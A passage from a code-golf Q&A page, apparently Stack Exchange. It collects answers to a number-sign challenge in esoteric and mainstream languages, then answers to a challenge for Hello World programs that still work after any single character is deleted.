left at the `?`; because this is a cube, the IP moves onto the `0` in the second row, heading east. `0` pushes a literal 0, then this code is run: * `^` - Point the IP north. * `W` - "Sidestep" the IP one spot to the left. * `(` - Decrement the top item. The TOS is now `-1`, and the IP wraps around the cube through a bunch of no-ops `.` until it hits the `>`. This runs the same output code mentioned above, outputting `-1`. If the input is positive, the same thing happens as with negative inputs, with one exception: the IP turns right instead of left at the `?`, and wraps around the cube to the `2`, which pushes a literal 2. This is then decremented to 1 and sent to output. [Answer] # [APL (Dyalog APL)](http://dyalog.com/), 1 [byte](https://codegolf.meta.stackexchange.com/a/9429/43319) Works for complex numbers too, returning 1∠*θ*: ``` × ``` [TryAPL online!](http://tryapl.org/?a=%u22A2N%u2190%AF1%200%201%D7%3F3/10%20%u22C4%20%D7N&run) --- Without that built-in, for integers (as per OP): ``` ¯1⌈1⌊⊢ ``` `¯1⌈` the largest of negative one and `1⌊` the smallest of one and `⊢` the argument [TryAPL online!](http://tryapl.org/?a=f%u2190%AF1%u23081%u230A%u22A2%20%u22C4%20%u22A2N%u2190%AF1%200%201%D7%3F3/10%20%u22C4%20f%20N&run) ... and a general one: ``` >∘0-<∘0 ``` `>∘0` more-than-zero `-` minus `<∘0` less-than-zero [TryAPL online!](http://tryapl.org/?a=f%u2190%3E%u22180-%3C%u22180%20%u22C4%20%u22A2N%u2190%AF1%200%201%D7%3F3/10%20%u22C4%20f%20N&run) [Answer] # JavaScript (ES6), 9 bytes ``` Math.sign ``` Straightforward. The shortest non-builtin is 13 bytes: ``` n=>n>0|-(n<0) ``` Thanks to @Neil, this can be golfed by a byte, but at the cost of only working on 32-bit integers: ``` n=>n>0|n>>31 ``` Or you could do ``` n=>n>0?1:!n-1 ``` which seems more golfable, but I'm not sure how. [Answer] # Vim, 22 bytes ``` xVp:s/-/-1^M:s/[1-9]/1^M ``` Saved one byte thanks to [@DJMcMayhem](https://codegolf.stackexchange.com/users/31716/d!jmcmayhem)! Here, `^M` is a literal newline. As [@nmjcman101](https://codegolf.stackexchange.com/users/62346/nmjcman101) pointed out in the comments, a single regex can be used (`:s/\v(-)=[^0].*/\11^M`, 20 bytes) instead, but since this is basically the same as a Retina answer would be, I'm sticking to my own method. Explanation: ``` xVp Delete everything except the first character. If the number is negative, this leaves a -, a positive leaves any number between 1 and 9, and 0 leaves 0. :s/-/-1^M Replace a - with a -1 :s/[1-9]/1^M Replace any number between 1 and 9 with 1. ``` Here's a gif of it running with a negative number (old version): [![Running with negative](https://i.stack.imgur.com/GULkF.gif)](https://i.stack.imgur.com/GULkF.gif) Here's it running with 0: [![Running with zero](https://i.stack.imgur.com/MBag5.gif)](https://i.stack.imgur.com/MBag5.gif) Running with positive: [![Running with positive](https://i.stack.imgur.com/TIozg.gif)](https://i.stack.imgur.com/TIozg.gif) [Answer] ## [><>](https://esolangs.org/wiki/Fish), ~~9~~ 8 bytes *Thanks to Sp3000 for saving a byte.* ``` 'i$-%n/ ``` There's an unprintable `0x01` before the `/`. [Try it online!](https://tio.run/nexus/fish#@6@eqaKrmseo//@/oZExAA "><> – TIO Nexus") ### Explanation This is a port of my [character code-based Labyrinth answer](https://codegolf.stackexchange.com/a/103857/8478). ``` ' Push the entire program (except ' itself) onto the stack, which ends with [... 1 47]. i Read the first character of the input. $- Subtract the 47. % Take the 1 modulo this value. n Output the result as an integer. 0x01 Unknown command, terminates the program. ``` [Answer] # ///, ~~52~~ 36 bytes ``` /a/\/1\/\///2a3a4a5a6a7a8a9a10a11/1/ ``` ## Ungolfed, explanation: ``` /2/1/ /3/1/ /4/1/ /5/1/ /6/1/ /7/1/ /8/1/ /9/1/ /10/1/ /11/1/ ``` It's basically a MapReduce implemenatation, i.e. there are two phases: * Replace all occurrences of digits `2`-`9` by `1`, e.g. `1230405` -> `1110101` * Reduce pairs of `11` or `10` to `1` repeatedly, e.g. `1110101`-> `1` If there was a `-` in front initially, it will remain and the output will be `-1`. A single `0` is never replaced, thus resulting in itself. **Update:** Save additional 16 bytes by aliasing `//1/` with `a`, thanks to Martin Ender. [**Try it online, with test cases**](https://tio.run/nexus/slashes#DcS7EYAwFAPBXL0wsvwDenFy/RfxYIMt4@OcP7szmCw2Nw8vaSSOpfQhXXNtqVV9) [Answer] # [Python 2](https://docs.python.org/2/), 17 bytes ``` lambda n:cmp(n,0) ``` [Try it online!](https://tio.run/nexus/python2#S1OwVYj5n5OYm5SSqJBnlZxboJGnY6D5v6AoM69EIU3DSJMLxtRFYgNVAAA "Python 2 – TIO Nexus") [Answer] ## [Labyrinth](https://github.com/m-ender/labyrinth), 10 bytes ``` ?:+:)%:(%! ``` [Try it online!](https://tio.run/nexus/labyrinth#@29vpW2lqWqloar4/7@hkTEA "Labyrinth – TIO Nexus") ### Explanation Labyrinth's control flow semantics actually give you a "free" way to determine a number's sign, because the chosen path at a 3-way fork depends on whether the sign is negative, zero or positive. However, I haven't been able to fit a program with junctions into less than 12 bytes so far (although it may be possible). Instead, here's a closed-form solution, that doesn't require any branches: ``` Code Comment Example -5 Example 0 Example 5 ? Read input. [-5] [0] [5] :+ Double. [-10] [0] [10] :) Copy, increment. [-10 -9] [0 1] [10 11] % Modulo. [-1] [0] [10] :( Copy, decrement. [-1 -2] [0 -1] [10 9] % Modulo. [-1] [0] [1] ! Print. [] [] [] ``` The instruction pointer then hits a dead end, turns around and terminates when `%` now attempts a division by zero. Doubling the input is necessary to make this work with inputs `1` and `-1`, otherwise one of the two modulo operations would already attempt a division by zero. [Answer] # C, ~~24~~ ~~20~~ ~~19~~ 18 bytes I abuse two C exploits to golf this down; This is in C (GCC). ``` f(a){a=a>0?:-!!a;} ``` [Try it online!](https://tio.run/nexus/c-gcc#@5@mkahZnWibaGdgb6WrqJhoXfs/M69EITcxM09Ds5pLQaGgCMhP01BSzYzJU9JJ0zDW1LTGImyGXdgAu7CuEXZxExzKDXGIQx1TlFpSWpSnYGDNVfv/a16@bnJickYqAA) --- Revision History: 1) `f(a){return(a>0)-(a<0);}` //24 bytes 2) `f(a){a=(a>0)-(a<0);}` //20 bytes 3) `f(a){a=a>0?:-1+!a;}` //19 bytes 4) `f(a){a=a>0?:-!!a;}` //18 bytes --- Revision 1: First attempt. Simple logic Revision 2: Abuses a **memory/stack bug** in GCC where, as far as I can tell, a non-returning function will return the last set variable in certain cases. Revision 3: Abuses ternary behavior where undefined result will return conditional result (which is why the *true* return on my ternary is nil) Revision 4: Subtract a bool cast (`!!`) from the ternary conditional substitution for `nil` referenced in revision 2. [Answer] # [Brain-Flak](https://github.com/DJMcMayhem/Brain-Flak) ~~74 42~~ 40 Bytes Saved 2 bytes thanks to 1000000000 ``` {([({}<([()])>)]<>(())){({}())<>}}{}({}) ``` [Try it Online!](http://brain-flak.tryitonline.net/#code=eyhbKHt9PChbKCldKT4pXTw-PCgoKSk-KXsoe30oKSk8Pn19e30oe30p&input=LTc) **Explanation:** ``` { } # if 0 do nothing ( ) # push: {}< > # the input, after ( ) # pushing: [ ] # negative: () # 1 ( ) # Then push: [ ] # the negative of the input <> # on the other stack with: () # a 1 ( ) # pushed under it { } # while 1: ({}()) # increment this stack and... <> # switch stacks {} # pop the top (the counter or 0 from input) ( ) # push: {} # the top (this is a no-op, or pushes a 0) ``` [Answer] # PHP, 16 bytes Uses the new spaceship operator. ``` <?=$argv[1]<=>0; ``` [Answer] # TI-Basic, 8 bytes ``` median({1,Ans,~1 ``` Alternative solutions (feel free to suggest more): ``` max(~1,min(Ans,1 8 bytes 0:If Ans:Ans/abs(Ans 9 bytes (Ans>0)-(Ans<0 10 bytes ``` [Answer] # [J](http://www.jsoftware.com/), 1 [byte](https://codegolf.meta.stackexchange.com/a/9429/43319) ``` * ``` [Try it online (with test cases)!](https://tio.run/nexus/j#@///v5aCqYKBQrwpAA) [Answer] ## Perl, 9 bytes **Requires `-E` at no extra cost.** ``` say<><=>0 ``` ### Usage ``` perl -E 'say<><=>0' <<< -9999 -1 perl -E 'say<><=>0' <<< 9999 1 perl -E 'say<><=>0' <<< -0 0 ``` I'm happy with the fish operator! [Answer] # [Pushy](https://github.com/FTcode/Pushy), 7 bytes This is probably the strangest-looking program I've ever written... ``` &?&|/;# ``` [**Try it online!**](https://tio.run/nexus/pushy#@69mr1ajb638//9/XUMDAA) It uses `sign(x) = abs(x) / x`, but with an explicit `sign(0) = 0` to avoid zero division error. ``` \ Take implicit input &? ; \ If the input is True (not 0): &| \ Push its absolute value / \ Divide # \ Output TOS (the sign) ``` This works because `x / abs(x)` is **1** when **x** is positive and **-1** when **x** is negative. If the input is 0, the program jumps to the output command. --- ### 4 bytes (non-competing) Because of holidays and having too much time, I've done a complete rewrite of the Pushy interpreter. The above program still works, but because `0 / 0` now default to 0, the following is shorter: ``` &|/# ``` [**Try it online!**](https://tio.run/nexus/pushy#@69Wo6/8//9/XUMDAA) [Answer] # Ruby, 10 bytes ``` ->x{x<=>0} ``` [Answer] ## [Stack Cats](https://github.com/m-ender/stackcats), 6 + 4 = 10 bytes ``` _[:I!: ``` +4 bytes for the `​ -nm` flags. `n` is for numeric I/O, and since Stack Cats requires programs to be palindromic, `m` implicitly mirrors the source code to give the original source ``` _[:I!:!I:]_ ``` [Try it online!](https://tio.run/nexus/stackcats#@x8fbeWpaPX/v6GJkYWp@X/dvFwA) As with basically all good Stack Cats golfs, this was found by brute force, beat any manual attempts by a long shot, and can't easily be incorporated into a larger program. Add a `D` flag if you'd like to see a step-by-step program trace, i.e. run with `-nmD` and check STDERR/debug. --- Stack Cats uses a tape of stacks which are implicitly filled with zeroes at the bottom. At the start of the program, all input is pushed onto the input stack, with a `-1` at the base to separate the input from the implicit zeroes. At the end of the program, the current stack is output, except a base `-1` if present. The relevant commands here are: ``` _ Perform subtraction [... y x] -> [... y y-x], where x is top of stack [ Move left one stack, taking top of stack with you ] Move right one stack, taking top of stack with you : Swap top two of stack I Perform [ if top is negative, ] if positive or don't move if zero. Then negate the top of stack. ! Bitwise negate top of stack (n -> -n-1) ``` Note that all of these commands are invertible, with its inverse being the mirror of the command. This is the premise of Stack Cats — all nontrivial terminating programs are of odd length, since even length programs self-cancel. We start with ``` v n -1 ... 0 0 0 0 0 ... ``` `_` subtracts, making the top `-1-n`, and `[` moves the result left one stack: ``` v -1-n -1 ... 0 0 0 0 0 ... ``` `:` swaps top two and `I` does nothing, since the top of stack is now zero. `!` then bitwise negates the top zero into a `-1` and `:` swaps the top two back. `!` then bitwise negates the top, turning `-1-n` back into `n` again: ``` v n -1 -1 ... 0 0 0 0 0 ... ``` Now we branch based on `I`, which is applied to our original `n`: * If `n` is negative, we move left one stack and end with `-n` on an implicit zero. `:` swaps, putting a zero on top, and `]` moves the zero on top of the `-1` we just moved off. `_` then subtracts, leaving the final stack like `[-1 -1]`, and only one `-1` is output since the base `-1` is ignored. * If `n` is zero, we don't move and `:` swaps, putting `-1` on top. `]` then moves this left `-1` on top of the right `-1`, and `_` subtracts, leaving the final stack like `[-1 0]`, outputting the zero and ignoring the base `-1`. * If `n` is positive, we move right one stack and end with `-n` on a `-1`. `:` swaps, putting the `-1` on top, and `]` moves this `-1` right, on top of an implicit zero. `_` then subtracts, giving `0 - (-1) = 1` and leaving the final stack like `[1]`, which is output. [Answer] # C#, 16 15 bytes *Improved solution thanks to [Neil](https://codegolf.stackexchange.com/users/17602/neil)* ``` n=>n>0?1:n>>31; ``` Alternatively, the built-in [method](https://msdn.microsoft.com/en-us/library/system.math.sign(v=vs.100).aspx) is 1 byte longer: ``` n=>Math.Sign(n); ``` Full program with test cases: ``` using System; public class P { public static void Main() { Func<int,int> f = n=>n>0?1:n>>31; // test cases: for (int i=-5; i<= 5; i++) Console.WriteLine(i + " -> " + f(i)); } } ``` [Answer] # [MATL](https://github.com/lmendo/MATL), 6 bytes ``` 0>EGg- ``` Input may be a number or an array. The result is number or an array with the corresponding values. [Try it online!](https://tio.run/nexus/matl#@29g5@qervv/vwUA "MATL – TIO Nexus") Or [test several cases](https://tio.run/nexus/matl#@29g5@qervv/f7SFgq6FgkEsAA) using array input. ### Explanation This avoids using the builtin sign function (`ZS`). ``` 0> % Take input implicitly. Push 1 if positive, 0 otherwise E % Multiply by 2 Gg % Push input converted to logical: 1 if nonzero, 0 otherwise - % Subtract. Implicitly display ``` [Answer] # Piet, ~~188~~ ~~53~~ ~~46~~ 41 bytes ``` 5bpjhbttttfttatraaearfjearoaearbcatsdcclq ``` [Online interpreter available here.](http://zobier.net/piet/) This piet code does the standard `(n>0)-(n<0)`, as there is no sign checking builtin. In fact, there is no less-than builtin, so a more accurate description of this method would be `(n>0)-(0>n)`. The text above represents the image. You can generate the image by pasting it into the text box on the interpreter page. For convenience I have provided the image below where the codel size is 31 pixels. The grid is there for readability and is not a part of the program. Also note that this program does not cross any white codels; follow the colored codels around the border of the image to follow the program flow. ### Explanation [![Program](https://i.stack.imgur.com/EUvlO.png)](https://i.stack.imgur.com/EUvlO.png) ``` Instruction Δ Hue Δ Lightness Stack ------------ ----- ----------- -------------------- In (Number) 4 2 n Duplicate 4 0 n, n Push [1] 0 1 1, n, n Duplicate 4 0 1, 1, in, in Subtract 1 1 0, in, in Duplicate 4 0 0, 0, in, in Push [4] 0 1 4, 0, 0, in, in Push [1] 0 1 1, 4, 0, 0, in, in Roll 4 1 0, in, in, 0 Greater 3 0 greater, in, 0 Push [3] 0 1 3, greater, in, 0 Push [1] 0 1 1, 3, greater, in, 0 Roll 4 1 in, 0, greater Greater 3 0 less, greater Subtract 1 1 sign Out (Number) 5 1 [Empty] [Exit] [N/A] [N/A] [Empty] ``` To reduce the filesize any further, I would need to actually change the program *(gasp)* instead of just compressing the file as I have been doing. I would like to remove one row which would golf this down to 36. I may also develop my own interpreter which would have a much smaller input format, as actually changing the code to make it smaller is not what code golf is about. The mods told me that the overall filesize is what counts for Piet code. As the interpreter accepts text as valid input and raw text has a much smaller byte count than any image, text is the obvious choice. I apologize for being cheeky about this but I do not make the rules. The [meta discussion](https://codegolf.meta.stackexchange.com/questions/10991/how-to-determine-the-length-of-a-piet-program) about this makes my opinions on the matter clear. If you think that that goes against the spirit of Piet or would like to discuss this further for any reason, please check out the [discussion on meta](https://codegolf.meta.stackexchange.com/questions/10991/how-to-determine-the-length-of-a-piet-program). [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 1 [byte](https://github.com/DennisMitchell/jelly/wiki/Code-page) ``` Ṡ ``` **[TryItOnline!](http://jelly.tryitonline.net/#code=4bmg&input=&args=MA)** The monadic sign [atom](https://github.com/DennisMitchell/jelly/wiki/Atoms), `Ṡ`, does exactly what is specified for an integer input, either as a full program or as a monadic link (function taking one argument). [Answer] # Mathematica, 4 bytes ``` Sign ``` Exactly what it says on the tin [Answer] # Octave, ~~26~~ 24 bytes ``` f=@(x)real(asin(x))/pi*2 ``` This is my first [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'") Octave answer, any golfing tips are appreciated! [Try it online!](https://tio.run/nexus/octave#@59m66BRoVmUmpijkVicmQdka@oXZGoZ/U/TMDQy1uQCUiDCAEToGkJIoPh/AA "Octave – TIO Nexus") The idea for taking the `asin` comes from the question where it says `output the sign` :) ### Explanation Note: dividing the number by `pi` and multiplying it by `2` is the equivalent of dividing the entire number by `pi/2` **Case `0`:** `asin(0)` yields `0`. Taking the real part of it and dividing it by `pi/2` makes no difference to the output. **Case `positive`:** `asin(1)` yields `pi/2`. `asin` of any number bigger than `1` will give `pi/2` + complex number. Taking the real part of it gives `pi/2` and dividing it by `pi/2` gives `1` **Case `negative`:** `asin(-1)` yields `-pi/2`. `asin` of any number smaller than `-1` will give `-pi/2` + complex number. Taking the real part of it gives `-pi/2` and dividing it by `pi/2` gives `-1` [Answer] # V ~~14~~ 12 bytes Thanks @DJMcMayhem for 2 bytes. Uses a reg-ex to do the substitution. Kind of fun, because it's not a built-in. I have a more fun function, but it's not working the way I expected. ``` ͨ-©½0]/±1 ``` [Verify Test Cases](https://tio.run/nexus/v#@3@499AK3UMrD@091GIQe6hR/9BGw///dc3MuEy5DLgMLQwMuHQtzQ0A) This just translates to `:%s/\v(-)=[^0].*/\11` which matches one or more `-` followed by anything but 0, followed by anything any number of times. It's replaced with the first match (so either a `-` or nothing) and a `1`. The regex doesn't match 0, so that stays itself. **The More Fun Way (21 bytes)** ``` é Àé12|DkJòhé-òó^$/a ``` [TryItOnline](http://v.tryitonline.net/#code=w6kKw4DDqTEyfERrSsOyaMOpLcOyw7NeJC8SYQ&input=&args=LS0+LTY) This accepts the input as an argument rather than in the buffer. `é<CR>` Insert a new line. `À` run the argument as V code. a `-` will move the cursor to the previous line, and any number will become the count for the next command `é1` insert (count)`1`'s `2|` move to the second column `D` delete everything from the second column onwards (leaving only one character) `kJ` Join the two lines together. `òhé-ò` translates to: "run `hé-` until breaking". If the 1 was on the second line, this breaks immediately after the h. If it was on the first line, it will insert a `-` before breaking. `ó^$/a` This fixes the fact that `-1`,`0`,`1` will leave a blank, and replaces a blank with the argument register. [Answer] # [Actually](https://github.com/Mego/Seriously), 1 byte ``` s ``` [Try it online!](https://tio.run/nexus/actually#@1/8/78pAA "Actually – TIO Nexus") Another case of exactly what it says on the tin - `s` is the sign function. Without the builtin (4 bytes): ``` ;A\+ ``` [Try it online!](https://tio.run/nexus/actually#@2/tGKP9/78BAA "Actually – TIO Nexus") `;A\` divides the absolute value of the input by the input. This results `-1` for negative inputs and `1` for positive inputs. Unfortunately, due to Actually's error handling (if something goes wrong, the command is ignored), `0` as input leaves two `0`s on the stack. `+` rectifies this by adding them (which causes an error with anything else, so it's ignored). [Answer] # [Python 3](https://www.python.org/), 20 bytes Since Python 3 doesn't have access to cmp like Python 2 does, it's a little longer ``` lambda n:(n>0)-(n<0) ``` ]
[Question] [ At the end of your interview, the Evil Interviewer tells you, "We make all of our applicants take a short coding test, to see if they really know what they are talking about. Don't worry; it's easy. And if you create a working program, I'll offer you the job immediately." He gestures for you to sit down at a nearby computer. "All you have to do is create a working Hello World program. But"--and he grins broadly--"there's a catch. Unfortunately the only compiler we have on this machine has a small bug. It randomly deletes one character from the source code file before compiling. Ok, see you in five minutes!" And he walks out of the room, whistling happily. Can you guarantee that you will get the job? ## The Task Write a program that will print `Hello, world!` to standard output even after a single character is removed from any position in the file. Or come as close to this as possible. ## The Rules **No Extraneous Output** - `Hello, world!` must be the only substantive thing printed to standard output. It is ok to include other characters if they are naturally produced by your language of choice--such as a trailing newline or even something like `[1] "Hello, world!"` (for example if you were using R), but *it must print the exact same thing every time.* It cannot print `Hello, world!Hello, world!` or `Hello world!" && x==1` some of the time, for example. Warnings, however, are allowed. **Testing** In order to test determine your score, you have to test each possible permutation of the program: test it with each character removed, and see if it produces the correct output. I have included a simple Perl program for this purpose below, which should work for many languages. If it doesn't work for you, please create a test program and include it in your answer. **Scoring** Your score is *the number of times your program fails*. In other words, the number of individual positions in your file where deleting a character prevents your program from working. Lowest score wins. In the event of a tie, the shortest code wins. **Trivial Solutions** such as `"Hello, world!"` in several languages (score of 15) are acceptable, but they aren't going to win. Happy programming, and may you get the job. But if you fail, you probably didn't want to work for that evil boss anyway. *Perl test script:* ``` use warnings; use strict; my $program = 'test.pl'; my $temp_file = 'corrupt.pl'; my $command = "perl -X $temp_file"; #Disabled warnings for cleaner output. my $expected_result = "Hello, world!"; open my $in,'<',$program or die $!; local $/; #Undef the line separator my $code = <$in>; #Read the entire file in. my $fails = 0; for my $omit_pos (0..length($code)-1) { my $corrupt = $code; $corrupt =~ s/^.{$omit_pos}\K.//s; #Delete a single character open my $out,'>',$temp_file or die $!; print {$out} $corrupt; #Write the corrupt program to a file close $out; my $result = `$command`; #Execute system command. if ($result ne $expected_result) { $fails++; print "Failure $fails:\nResult: ($result)\n$corrupt"; } } print "\n$fails failed out of " . length $code; ``` [Answer] ## Befunge, Score 0, 96 bytes I think I cracked it - no single character deletion will change the output. Deleting any character from line 1 changes nothing - it still goes down at the same place. Lines 2 and 3 are redundant. Normally line 2 is executed, but if you delete a character from it, the `<` is missed, and line 3 takes charge. Deleting newlines doesn't break it either (it did break my previous version). No test program, sorry. **EDIT**: simplified a lot. ``` vv @,,,,,,,,,,,,,"Hello, world!"<< @,,,,,,,,,,,,,"Hello, world!"<< ``` A short explanation of the flow: 1. Befunge starts executing from top-left, moving right. Spaces do nothing. 2. `v` turns the execution flow downward, so it goes down one line. 3. `<` turns the execution flow left, so it reads line 2 in reversed order. 4. `"Hello, world!"` pushes the string to the stack. It's pushed in reversed order, because we're executing right to left. 5. `,` pops a character and prints it. The last character pushed is printed first, which reverses the string once more. 6. `@` terminates the program. [Answer] # HQ9+ This will never fail to produce the intended result when a character is deleted so gets a score of zero. ``` HH ``` When do I start? [Answer] # Perl, Score 0 *(147 characters)* Here is my solution, which I managed to get from 4 down to 0: ``` eval +qq(;\$_="Hello, world!";;*a=print()if length==13or!m/./#)|| +eval +qq(;\$_="Hello, world!";;print()if*a!~/1/||!m/./#)##)|| print"Hello, world!" ``` It must appear all on one line to work; line breaks are for "readability" only. It benefits from Perl's pathologically permissive syntax. Some highlights: * Barewords that are not recognized are treated as strings. So when `eval` becomes `evl`, that is not an error if a string is permissible at that point. * Unary `+` operator, which does nothing other than disambiguate syntax in certain situations. This is useful with the above, because `function +argument` (where + is unary) becomes `string + argument` (addition) when a function name is mangled and becomes a string. * Many ways to declare strings: a double quoted string `qq( )` can become a single-quoted string `q()`; a string delimited by parentheses `qq(; ... )` can become a string delimited by a semicolon `qq; ... ;`. `#` inside strings can eliminate balancing issues by converting things to comments. The length of this can probably be reduced somewhat, though I doubt ugoren's solution can be beaten. [Answer] ## [Befunge-98](https://github.com/catseye/FBBI), score 0, 45 bytes ``` 20020xx""!!ddllrrooww ,,oolllleeHH""cckk,,@@ ``` [Try it online!](https://tio.run/nexus/befunge-98#@29kYGBkUFGhpKSomJKSk1NUlJ9fXq6goKOTn58DBKmpHh5KSsnJ2dk6Og4O//8DAA "Befunge-98 – TIO Nexus") Although an optimal solution has already been found (and there's no tie breaker), I thought I'd show that this can be simplified considerably with Befunge 98. ### Explanation The `20020xx` reliably sets the delta (the steps of the instruction pointer between ticks) to `(2,0)` so that starting at the first `x`, only every other command is executed. See [this answer](https://codegolf.stackexchange.com/a/103101/8478) for a detailed explanation of why this works. Afterwards, the code is merely: ``` "!dlrow ,olleH"ck,@ ``` We first push all the relevant character codes onto the stack with `"!dlrow ,olleH"`. Then `ck,` means print the top of the stack (`,`), 13 (`c` plus 1) times (`k`). `@` terminates the program. [Answer] ## J, 7 points Selecting every letter with odd position: ``` _2{.\'HHeellllo,, wwoorrlldd!!' Hello, world! ``` [Answer] # Unary, score 0, 74817134662624094502265949627214372599829 bytes The code is not included due to post length limitations, but it consists of 74817134662624094502265949627214372599829 zeros. If any of these zeros is removed, the resulting brainfuck program is [KSab's hello world program](https://codegolf.stackexchange.com/questions/55422/hello-world/163590#163590). Sadly, I didn't get the job because my machine had only 500 GB of hard disk space. [Answer] # [Klein](https://github.com/Wheatwizard/Klein) 0X1, score 0, 38 bytes *Works in both 011 (real projective plane) and 001 (Klein bottle)* ``` // @"!dlrow ,olleH"< @"!dlrow ,olleH"< ``` [Try it online!](https://tio.run/##y85Jzcz7/19fn8tBSTElpyi/XEEnPycn1UPJBlPk////uo7/DQwMAQ "Klein – Try It Online") This reflects the ip over the top of the program. The geometry causes the ip to reenter the program on the opposite end of the program. This makes it a lot shorter than the traditional method which requires a full length line to reach the right side of the program. # 000, score 0, 38 bytes ``` <<@"!dlrow ,olleH"/ <@"!dlrow ,olleH"/ ``` [Try it online!](https://tio.run/##y85Jzcz7/9/GxkFJMSWnKL9cQSc/JyfVQ0mfC1Po////uo7/DQwMAA "Klein – Try It Online") # 1X1 or 20X, score 0, 39 bytes *Works in 101, 111, 200, and 201* ``` .. @"!dlrow ,olleH"< @"!dlrow ,olleH"< ``` [Try it online!](https://tio.run/##y85Jzcz7/19Pj4vLQUkxJacov1xBJz8nJ9VDyQZT5P///7qO/w0NDAE "Klein – Try It Online") Due to the longstanding bug that spaces are trimmed off the front of Klein programs two `.`s are needed to make this work. If it were not for this bug the 37 byte program: ``` @"!dlrow ,olleH"< @"!dlrow ,olleH"< ``` world work in all of these geometries. The idea here is that we choose a geometry that naturally reaches the location we want and clear its way. Particularly we want geometries that connect the east edge to either the north or south edges with the proper twisting so that the ip leaving the east edge enters on the right side of the program. There are 4 of these. # 0X0, score 0, 40 bytes *Works in both 000 (torus) and 010 (Klein bottle)* ``` ||@"!dlrow ,olleH"./ ..@"!dlrow ,olleH"/ ``` [Try it online!](https://tio.run/##y85Jzcz7/7@mxkFJMSWnKL9cQSc/JyfVQ0lPn0tPD11Q/////7qO/w0MDQA "Klein – Try It Online") # 1X1, 20X, 210, or 101, score 0, 43 bytes *Works in 101, 111, 200, 201, 210, and 101* ``` .. @"!dlrow ,olleH"< @"!dlrow ,olleH"< ``` [Try it online!](https://tio.run/##y85Jzcz7/19Pj4tLQcFBSTElpyi/XEEnPycn1UPJBpvY////dR3/GxoYAgA "Klein – Try It Online") A modified version of the above where we move the `@`s out of the path so that 210 and 101 work. Once again `..` is required due to a bug and could be removed for a 2 byte save if the bug were fixed. # XXX, score 0, 54 bytes *Works in every geometry* ``` . \\ @"!dlrow ,olleH"< @"!dlrow ,olleH"< ``` [Try it online!](https://tio.run/##y85Jzcz7/19PARXExHA5KCmm5BTllyvo5OfkpHoo2WCK/P//X9fxv4GBIQA "Klein – Try It Online") [Answer] # [Python 3](https://docs.python.org/3/), score = ~~6~~ 4, ~~454~~ 426 bytes ``` xec=eec=exc=exe=exeexec=rint=pint=prnt=prit=prin=ppprint=hhh=hh=hhh=fr=""""pp(fr[1::2]) rrr________:__"ii______p____;nn____p______ptt__(________p(( __________(ff__________rfrr________[__r[[______1____[11____:______1::__:________:22 __________:66__________-2::________4__]22______]____)]]____)______ ))"""##""" xec=eec=exc=exe=exec pp=print fr=fr=fr=""""HHeelllloo,, wwoorrlldd!!"""##""" exec(hhh[1::2++2++2++2++2++2++2++00]) ``` [Try it online!](https://tio.run/##bVLNbtswDL7rKRj3EAl2gdgretCga5EH2M0wDNeWYwGaJDBK02LYs2f6yexiKyFSJEVS5Ce5D79Y8@022kkK3O/3t3c5Chn5PbKMLKMPlfHCJYFJqCSMcM6ls2VZRFqLmFEUgZyjM7Y1503HABH7O/G@L5TKuoviuzGrHjbv@57@DXaUQr8SnefNwHmr2QazbbNeJ0dd3@9KLs5XPShN86kmf37ejMeGr2FPfd81Tda7KFiXt@wCxsKQDw9BkC9QG4lzCSFPAh55RVSORyl1IGurCuB6tRZR62na7dZqJKbTgGQCryz/X4dDx27huULAY92RcdBaTiDgZdBnSSY5w5tENfdnjzSwMifGCQQ6afs6aMgJyTOczxI9GOu/8OZcEAKKY@jaVnC1qKddkYLWa3/gRRIy2ovxwTqQ2SIoUAZwMCdJtTQ0/jB2b@KfdqPL40c@S5TmjxktV12ZFFXWvKvgV5EgLfg632@25d27/jRHeBDp/FY6ZVNVQS7abcmp@1LUhOSYwlx@vkqEeVAaRFHlAHb7Aw "Python 3 – Try It Online") The undeletable char are parenthesis for the exec function and the brackets. ## How it works: * `hhh=hh=hhh=fr=...` initialize the main code and stor it in `hhh` * `xec=...=ppprint=...` initialize all possibe deletion of `exec` and `print` to avoid a future `NameError` * `xec=eec=exc=exe=exec` ensure that `exec` (with possible deletions) is well defined * `fr=fr=fr=""""HHeelllloo,, wwoorrlldd!!"""##"""` store in `fr` the string `Hello, world!` but doubled to keep the information even with a deletion * the last slice can be equal to either `[1::14]`, `[::14]`, `[1:14]` or `[1::12]`. Both of them slice the main code to have respectively `print(fr[1:26:2])`, `"r";pp(fr[1::2])` , `pp(fr[1::2])` or `p :pp( fr[1:: 6-4])` Thanks to @Jo King♦ for pointing me my errors, helping me to solve them and helped me to golf the result [Answer] # 8086 machine code (MS-DOS .COM), 71 bytes, score = 0 Slight variation on [previous](https://codegolf.stackexchange.com/a/191375/75886) [answers](https://codegolf.stackexchange.com/a/196299/75886) on the same theme. In binary form: ``` 00000000 : EB 28 28 E8 00 00 5A 83 C2 09 B4 09 CD 21 C3 48 : .((...Z......!.H 00000010 : 65 6C 6C 6F 2C 20 57 6F 72 6C 64 21 24 90 90 90 : ello, World!$... 00000020 : 90 90 90 90 90 90 90 90 90 90 EB D7 D7 E8 00 00 : ................ 00000030 : 5A 83 C2 09 B4 09 CD 21 C3 48 65 6C 6C 6F 2C 20 : Z......!.Hello, 00000040 : 57 6F 72 6C 64 21 24 : World!$ ``` In readable form (NASM syntax): ``` cpu 8086 org 0x100 %macro CODEPART 0 call near .nextline .nextline: pop dx add dx, 0x09 mov ah, 0x09 int 0x21 ret .msg db "Hello, World!$" %endmacro jump1: jmp jump2 db 0x28 part1: CODEPART filler: times 13 db 0x90 jump2: jmp part1 db 0xd7 part2: CODEPART ``` # Rundown The active part is duplicated so that there is always one untouched by radiation. We select the healthy version by way of jumps. Each jump is a short jump, and so is only two bytes long, where the second byte is the displacement (i.e. distance to jump, with sign determining direction). We can divide the code into four parts which could be irradiated: jump 1, code 1, jump 2, and code 2. The idea is to make sure a clean code part is always used. If one of the code parts is irradiated, the other must be chosen, but if one of the jumps is irradiated, both code parts will be clean, so it will not matter which one is chosen. The reason for having two jump parts is to detect irradiation in the first part by jumping over it. If the first code part is irradiated, it means we will arrive one byte off the mark. If we make sure that such a botched landing selects code 2, and a proper landing selects code 1, we're golden. For both jumps, we duplicate the displacement byte, making each jump part 3 bytes long. This ensures that irradiation in one of the two last bytes will still make the jump valid. Irradiation in the first byte will stop the jump from happening at all, since the last two bytes will form a completely different instruction. Take the first jump: ``` EB 28 28 jmp +0x28 / db 0x28 ``` If either of the `0x28` bytes are removed, it will still jump to the same place. If the `0xEB` byte is removed, we will instead 